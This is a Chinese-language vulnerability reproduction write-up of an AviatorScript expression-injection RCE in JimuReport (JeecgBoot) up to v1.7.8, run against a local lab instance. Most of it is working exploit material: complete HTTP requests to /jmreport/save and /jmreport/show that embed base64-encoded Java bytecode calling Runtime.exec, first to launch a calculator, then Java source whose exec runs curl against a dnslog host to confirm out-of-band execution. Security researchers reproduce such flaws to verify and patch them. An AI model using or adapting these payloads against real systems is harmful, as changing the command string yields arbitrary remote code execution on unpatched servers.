JeecgBoot积木报表AviatorScript表达式注入漏洞复现

漏洞信息

影响组件：JimuReport积木报表

影响版本：v1.6.0 ＜ JimuReport ≤ 1.7.8

漏洞名称：AviatorScript表达式注入漏洞

漏洞链接：积木报表软件存在AviatorScript代码注入RCE漏洞 · Issue #2848

漏洞描述：

积木报表软件存在AviatorScript代码注入RCE漏洞

使用接口/jmreport/save处在text中写入AviatorScript表达式访问/jmreport/show触发AviatorScript解析从而导致命令执行。

漏洞复现

环境搭建

使用积木报表v1.7.8复现，下载链接：Release v1.7.8 · jeecgboot/JimuReport

用idea打开，使用maven下载依赖之后，运行com.jeecg.modules.JimuReportApplication

访问http://192.168.171.1:8085/，搭建成功：

poc复现

poc来源：https://github.com/wy876/POC/blob/main/JeecgBoot/JeecgBoot系统AviatorScript表达式注入漏洞.md

POST /jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123 HTTP/1.1
Host: 192.168.37.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 3456{"loopBlockList": [],"area": false,"printElWidth": 718,"excel_config_id": "980882669965455363","printElHeight": 1047,"rows": {"4": {"cells": {"4": {"text": "=(use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('test', Base64Utils.decodeFromString('yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBAAR0ZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAJAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAWAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADQAJABAADAAOAA0ADwAWABEADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA=='), ClassLoader.getSystemClassLoader());)","style": 0}},"height": 25},"len": 96,"-1": {"cells": {"-1": {"text": "${gongsi.id}"}},"isDrag": true}},"dbexps": [],"toolPrintSizeObj": {"printType": "A4","widthPx": 718,"heightPx": 1047},"dicts": [],"freeze": "A1","dataRectWidth": 701,"background": false,"name": "sheet1","autofilter": {},"styles": [{"align": "center"}],"validations": [],"cols": {"4": {"width": 95},"len": 50},"merges": ["E4:F4","B4:B5","C4:C5","D4:D5","G4:G5","H4:H5","I4:I5","D1:G1","H3:I3"]
}

POST /jeecg-boot/jmreport/show?previousPage=xxx&jmLink=YWFhfHxiYmI= HTTP/1.1
Host: 192.168.37.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 42{"id": "980882669965455363"
}

反编译poc里的字节码，可以看到是调用Runtime.getRuntime.exec来执行系统命令启动计算器：

发送poc，可以看到成功调用了计算器

DNSLog验证

使用https://dnslog.org/获得一个域名：

jeecg.e7b700c1.log.dnslog.biz.

编写poc：

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;public class test1 extends AbstractTranslet {public test1() {}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}static {try {Runtime.getRuntime().exec("curl jeecg.e7b700c1.log.dnslog.biz.");} catch (IOException var1) {throw new RuntimeException(var1);}}
}

javac编译，然后base64编码字节码：

yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAdAQAKU291cmNlRmlsZQEACnRlc3QxLmphdmEMAAoACwcAIwwAJAAlAQAjY3VybCBqZWVjZy5lN2I3MDBjMS5sb2cuZG5zbG9nLmJpei4MACYAJwEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAoAQAFdGVzdDEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAABAABAAoACwABAAwAAAAhAAEAAQAAAAUqtwABsQAAAAEADQAAAAoAAgAAAAkABAAKAAEADgAPAAIADAAAABkAAAADAAAAAbEAAAABAA0AAAAGAAEAAAANABAAAAAEAAEAEQABAA4AEgACAAwAAAAZAAAABAAAAAGxAAAAAQANAAAABgABAAAAEAAQAAAABAABABEACAATAAsAAQAMAAAAVAADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAIADQAAABYABQAAABQACQAXAAwAFQANABYAFgAYABQAAAAHAAJMBwAVCQABABYAAAACABc=

最终poc：

POST /jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123 HTTP/1.1
Host: 192.168.171.1:8085
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 3456{"loopBlockList": [],"area": false,"printElWidth": 718,"excel_config_id": "980882669965455363","printElHeight": 1047,"rows": {"4": {"cells": {"4": {"text": "=(use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('test1', Base64Utils.decodeFromString('yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAdAQAKU291cmNlRmlsZQEACnRlc3QxLmphdmEMAAoACwcAIwwAJAAlAQAjY3VybCBqZWVjZy5lN2I3MDBjMS5sb2cuZG5zbG9nLmJpei4MACYAJwEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAoAQAFdGVzdDEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAABAABAAoACwABAAwAAAAhAAEAAQAAAAUqtwABsQAAAAEADQAAAAoAAgAAAAkABAAKAAEADgAPAAIADAAAABkAAAADAAAAAbEAAAABAA0AAAAGAAEAAAANABAAAAAEAAEAEQABAA4AEgACAAwAAAAZAAAABAAAAAGxAAAAAQANAAAABgABAAAAEAAQAAAABAABABEACAATAAsAAQAMAAAAVAADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAIADQAAABYABQAAABQACQAXAAwAFQANABYAFgAYABQAAAAHAAJMBwAVCQABABYAAAACABc='), ClassLoader.getSystemClassLoader());)","style": 0}},"height": 25},"len": 96,"-1": {"cells": {"-1": {"text": "${gongsi.id}"}},"isDrag": true}},"dbexps": [],"toolPrintSizeObj": {"printType": "A4","widthPx": 718,"heightPx": 1047},"dicts": [],"freeze": "A1","dataRectWidth": 701,"background": false,"name": "sheet1","autofilter": {},"styles": [{"align": "center"}],"validations": [],"cols": {"4": {"width": 95},"len": 50},"merges": ["E4:F4","B4:B5","C4:C5","D4:D5","G4:G5","H4:H5","I4:I5","D1:G1","H3:I3"]
}

POST /jmreport/show?previousPage=xxx&jmLink=YWFhfHxiYmI= HTTP/1.1
Host: 192.168.171.1:8085
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 38{"id": "980882669965455363"
}

发送poc

成功请求dnslog